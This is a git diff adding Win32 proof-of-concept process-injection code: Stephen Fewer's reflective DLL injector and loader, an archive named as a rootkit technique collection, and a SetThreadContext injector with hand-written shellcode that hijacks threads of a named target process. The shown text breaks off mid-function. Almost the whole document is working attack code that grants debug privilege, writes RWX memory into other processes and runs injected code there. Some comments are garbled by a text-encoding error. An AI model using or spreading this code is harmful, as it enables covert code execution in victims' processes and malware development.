file mode 100644 index 00000000..ac150174 --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/GetProcAddressR.h @@ -0,0 +1,36 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/Inject.c b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/Inject.c new file mode 100644 index 00000000..479d04cf --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/Inject.c @@ -0,0 +1,120 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include +#include "LoadLibraryR.h" + +#pragma comment(lib,"Advapi32.lib") + +#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } + +// Simple app to inject a reflective DLL into a process vis its process ID. +int main( int argc, char * argv[] ) +{ + HANDLE hFile = NULL; + HANDLE hModule = NULL; + HANDLE hProcess = NULL; + HANDLE hToken = NULL; + LPVOID lpBuffer = NULL; + DWORD dwLength = 0; + DWORD dwBytesRead = 0; + DWORD dwProcessId = 0; + TOKEN_PRIVILEGES priv = {0}; + +#ifdef WIN_X64 + char * cpDllFile = "reflective_dll.x64.dll"; +#else +#ifdef WIN_X86 + char * cpDllFile = "reflective_dll.dll"; +#else WIN_ARM + char * cpDllFile = "reflective_dll.arm.dll"; +#endif +#endif + + do + { + // Usage: inject.exe [pid] [dll_file] + + if( argc == 1 ) + dwProcessId = GetCurrentProcessId(); + else + dwProcessId = atoi( argv[1] ); + + if( argc >= 3 ) + cpDllFile = argv[2]; + + hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); + if( hFile == INVALID_HANDLE_VALUE ) + BREAK_WITH_ERROR( "Failed to open the DLL file" ); + + dwLength = GetFileSize( hFile, NULL ); + if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); + if( !lpBuffer ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) + BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); + + if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) + { + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) + AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); + + CloseHandle( hToken ); + } + + hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); + if( !hProcess ) + BREAK_WITH_ERROR( "Failed to open the target process" ); + + hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); + if( !hModule ) + BREAK_WITH_ERROR( "Failed to inject the DLL" ); + + printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); + + WaitForSingleObject( hModule, -1 ); + + } while( 0 ); + + if( lpBuffer ) + HeapFree( GetProcessHeap(), 0, lpBuffer ); + + if( hProcess ) + CloseHandle( hProcess ); + + return 0; +} \ No newline at end of file diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/LoadLibraryR.c b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/LoadLibraryR.c new file mode 100644 index 00000000..030dd75d --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/LoadLibraryR.c @@ -0,0 +1,234 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "LoadLibraryR.h" +#include +//===============================================================================================// +DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) +{ + WORD wIndex = 0; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + + pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + if( dwRva < pSectionHeader[0].PointerToRawData ) + return dwRva; + + for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) + { + if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) + return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); + } + + return 0; +} +//===============================================================================================// +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) +{ + UINT_PTR uiBaseAddress = 0; + UINT_PTR uiExportDir = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameOrdinals = 0; + DWORD dwCounter = 0; +#ifdef WIN_X64 + DWORD dwCompiledArch = 2; +#else + // This will catch Win32 and WinRT. + DWORD dwCompiledArch = 1; +#endif + + uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; + + // get the File Offset of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // currenlty we can only process a PE file which is the same type as the one this fuction has + // been compiled as, due to various offset in the PE structures being defined at compile time. + if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 + { + if( dwCompiledArch != 1 ) + return 0; + } + else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 + { + if( dwCompiledArch != 2 ) + return 0; + } + else + { + return 0; + } + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the File Offset of the export directory + uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); + + // get the File Offset for the array of name pointers + uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); + + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); + + // get the File Offset for the array of name ordinals + uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); + + // get a counter for the number of exported functions... + dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; + + // loop through all the exported functions to find the ReflectiveLoader + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); + + if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) + { + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); + + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // return the File Offset to the ReflectiveLoader() functions code... + return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); + } + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + + return 0; +} +//===============================================================================================// +// Loads a DLL image from memory via its exported ReflectiveLoader function +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) +{ + HMODULE hResult = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwOldProtect1 = 0; + DWORD dwOldProtect2 = 0; + REFLECTIVELOADER pReflectiveLoader = NULL; + DLLMAIN pDllMain = NULL; + + if( lpBuffer == NULL || dwLength == 0 ) + return NULL; + + __try + { + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( dwReflectiveLoaderOffset != 0 ) + { + pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); + + // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... + // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region + if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) + { + // call the librarys ReflectiveLoader... + pDllMain = (DLLMAIN)pReflectiveLoader(); + if( pDllMain != NULL ) + { + // call the loaded librarys DllMain to get its HMODULE + if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) + hResult = NULL; + } + // revert to the previous protection flags... + VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hResult = NULL; + } + + return hResult; +} +//===============================================================================================// +// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function +// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +// defined in order to use the correct RDI prototypes. +// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | +// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ +// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. +// Note: This function currently cant inject accross architectures, but only to architectures which are the +// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) +{ + BOOL bSuccess = FALSE; + LPVOID lpRemoteLibraryBuffer = NULL; + LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; + HANDLE hThread = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwThreadId = 0; + + __try + { + do + { + if( !hProcess || !lpBuffer || !dwLength ) + break; + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( !dwReflectiveLoaderOffset ) + break; + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteLibraryBuffer ) + break; + + // write the image into the host process... + if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) + break; + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); + + // create a remote thread in the host process to call the ReflectiveLoader! + hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); + + } while( 0 ); + + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hThread = NULL; + } + + return hThread; +} +//===============================================================================================// diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/LoadLibraryR.h b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/LoadLibraryR.h new file mode 100644 index 00000000..21154d36 --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/LoadLibraryR.h @@ -0,0 +1,41 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); + +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); + +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/ReflectiveDLLInjection.h b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/ReflectiveDLLInjection.h new file mode 100644 index 00000000..c804a916 --- /dev/null +++ b/Win32/Proof of Concepts/ReflectiveDLLInjection/inject/src/ReflectiveDLLInjection.h @@ -0,0 +1,53 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_METASPLOIT_ATTACH 4 +#define DLL_METASPLOIT_DETACH 5 +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/Win32/Proof of Concepts/RootkitTechniqueCollection.7z b/Win32/Proof of Concepts/RootkitTechniqueCollection.7z new file mode 100644 index 00000000..1e50f25e Binary files /dev/null and b/Win32/Proof of Concepts/RootkitTechniqueCollection.7z differ diff --git a/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64.sln b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64.sln new file mode 100644 index 00000000..89a02db8 --- /dev/null +++ b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InjectDllBySetThreadContextx64", "InjectDllBySetThreadContextx64\InjectDllBySetThreadContextx64.vcxproj", "{A30978AA-ED87-42CC-9A57-5E52A67FF248}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {A30978AA-ED87-42CC-9A57-5E52A67FF248}.Debug|Win32.ActiveCfg = Debug|Win32 + {A30978AA-ED87-42CC-9A57-5E52A67FF248}.Debug|Win32.Build.0 = Debug|Win32 + {A30978AA-ED87-42CC-9A57-5E52A67FF248}.Debug|x64.ActiveCfg = Debug|x64 + {A30978AA-ED87-42CC-9A57-5E52A67FF248}.Debug|x64.Build.0 = Debug|x64 + {A30978AA-ED87-42CC-9A57-5E52A67FF248}.Release|Win32.ActiveCfg = Release|Win32 + {A30978AA-ED87-42CC-9A57-5E52A67FF248}.Release|Win32.Build.0 = Release|Win32 + {A30978AA-ED87-42CC-9A57-5E52A67FF248}.Release|x64.ActiveCfg = Release|x64 + {A30978AA-ED87-42CC-9A57-5E52A67FF248}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/InjectDllBySetThreadContextx64.cpp b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/InjectDllBySetThreadContextx64.cpp new file mode 100644 index 00000000..195009d1 --- /dev/null +++ b/Win32/Proof of Concepts/SetThreadContextInjection/InjectDllBySetThreadContextx64/InjectDllBySetThreadContextx64.cpp @@ -0,0 +1,356 @@ +// InjectDllBySetThreadContextx64.cpp : ¶¨ŇĺżŘÖĆ̨ӦÓĂłĚĐňµÄČëżÚµăˇŁ +// + +#include "stdafx.h" + +#include +using namespace std; +#include +#include "tlhelp32.h" +BYTE ShellCode[64]= +{ + 0x60, + 0x9c, + 0x68, //push + 0xaa,0xbb,0xcc,0xdd,//dll path +3 dll×îÄż±ę˝řłĚÖеĵŘÖ· + 0xff,0x15, //call ŐâŔď¸ĐľőÓеăÂŇŁ¬ÎŇÔÚ64ĎÂÖ±˝Ócall Ďŕ¶ÔµŘÖ· + 0xdd,0xcc,0xbb,0xaa,//+9 LoadLibrary Addr Addr + 0x9d, + 0x61, + 0xff,0x25, //jmp + 0xaa,0xbb,0xcc,0xdd,// +17 jmp eip + 0xaa,0xaa,0xaa,0xaa,// loadlibrary addr + 0xaa,0xaa,0xaa,0xaa// jmpaddr +25 + + // +29 +}; + +/* +{ +00973689 > 60 PUSHAD +0097368A 9C PUSHFD +0097368B 68 50369700 PUSH notepad.00973650 +00973690 FF15 70369700 CALL DWORD PTR DS:[973670] +00973696 9D POPFD +00973697 61 POPAD +00973698 - FF25 30369700 JMP DWORD PTR DS:[973630] +} +*/ + +BYTE ShellCode64[64]= +{ + 0x48,0x83,0xEC,0x28, // sub rsp ,28h + + 0x48,0x8D,0x0d, // [+4] lea rcx, + 0xaa,0xbb,0xcc,0xdd, // [+7] dll path offset = TargetAddress- Current(0x48)[+4] -7 + + 0x48, 0xB8, + 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xff, 0xd0, + + 0x48,0x83,0xc4,0x28, // [+16] add rsp,28h + //0xcc, µ÷ĘÔʱ¶ĎĎÂŔ´µÄint 3 ŐýłŁÔËĐеÄʱşň·ÇłŁÉµ±ĆµÄĂ»ÓĐÇëµô...ÄŃąÖһֱËŔ + 0xff,0x25, // [+20] + 0xaa,0xbb,0xcc,0xdd, // [+22] jmp rip offset = TargetAddress - Current(0xff)[+20] - 6 + + 0xaa,0xbb,0xcc,0xdd, //+26 + 0xaa,0xbb,0xcc,0xdd + //+34 +}; + +BOOL EnableDebugPriv() ; +BOOL StartHook(HANDLE hProcess,HANDLE hThread); + + +DWORD main_GetProcessIdByName(LPWSTR pszProcessName, PDWORD pdwProcessId) +{ + DWORD dwProcessId = 0; + HANDLE hSnapshot = NULL; + PROCESSENTRY32 pe = { 0 }; + DWORD eReturn = 0; + + hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (NULL == hSnapshot) + { + eReturn = -1; + printf("CreateToolhelp32Snapshot error. GLE: %d.", GetLastError()); + goto lblCleanup; + } + + pe.dwSize = sizeof(PROCESSENTRY32); + if (FALSE == Process32First(hSnapshot, &pe)) + { + eReturn = -1; + printf("Process32First error. GLE: %d.", GetLastError()); + goto lblCleanup; + } + + do + { + if (NULL != wcsstr(pe.szExeFile, pszProcessName)) + { + dwProcessId = pe.th32ProcessID; + break; + } + } while (Process32Next(hSnapshot, &pe)); + + if (0 == dwProcessId) + { + printf("[*] Process '%S' could not be found.\n\n\n", pszProcessName); + eReturn = -1; + goto lblCleanup; + } + + printf("[*] Found process '%S'. PID: %d (0x%X).\n\n\n", pszProcessName, dwProcessId, dwProcessId); + *pdwProcessId = dwProcessId; + eReturn = 0; + +lblCleanup: + if ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot)) + { + CloseHandle(hSnapshot); + hSnapshot = NULL; + } + return eReturn; + +} + +int _tmain(int argc, _TCHAR* argv[]) +{ + EnableDebugPriv() ; + + DWORD ProcessId = 0; +#ifdef _WIN64 + main_GetProcessIdByName(L"targetx64.exe", &ProcessId); +#else + main_GetProcessIdByName(L"target.exe", &ProcessId); +#endif + + + HANDLE Process = OpenProcess(PROCESS_ALL_ACCESS,NULL,ProcessId); + if(Process == NULL) + { + printf("OpenProcess Fail LastError [%d]\n", GetLastError()); + getchar(); + return 0; + } + printf("Open Process [%d] OK.\n", ProcessId); + + THREADENTRY32 te32 = {sizeof(THREADENTRY32)} ; + HANDLE hThreadSnap = CreateToolhelp32Snapshot (TH32CS_SNAPTHREAD, 0) ; + if ( hThreadSnap == INVALID_HANDLE_VALUE ) + { + printf("CreateToolhelp32Snapshot fail LastError [%d]\n", GetLastError()); + getchar(); + return FALSE; + } + + if (Thread32First(hThreadSnap, &te32)) + { + do{ + if(te32.th32OwnerProcessID == ProcessId) + { + HANDLE Thread = OpenThread(THREAD_ALL_ACCESS,NULL,te32.th32ThreadID); + if(Thread == NULL) + { + printf("OpenThread Failed LastError [%d]\n", GetLastError()); + break; + } + SuspendThread(Thread); + + printf("start Hook.\n"); + if (!StartHook(Process,Thread)) + { + printf("ʧ°Ü\n"); + getchar(); + } + else + { + CloseHandle(Thread); + break; + } + CloseHandle(Thread); + } + }while(Thread32Next(hThreadSnap, &te32)); + } + CloseHandle(Process); + CloseHandle(hThreadSnap); + + getchar(); +} + +BYTE *DllPath; +BOOL StartHook(HANDLE hProcess,HANDLE hThread) +{ +#ifdef _WIN64 + CONTEXT ctx; + 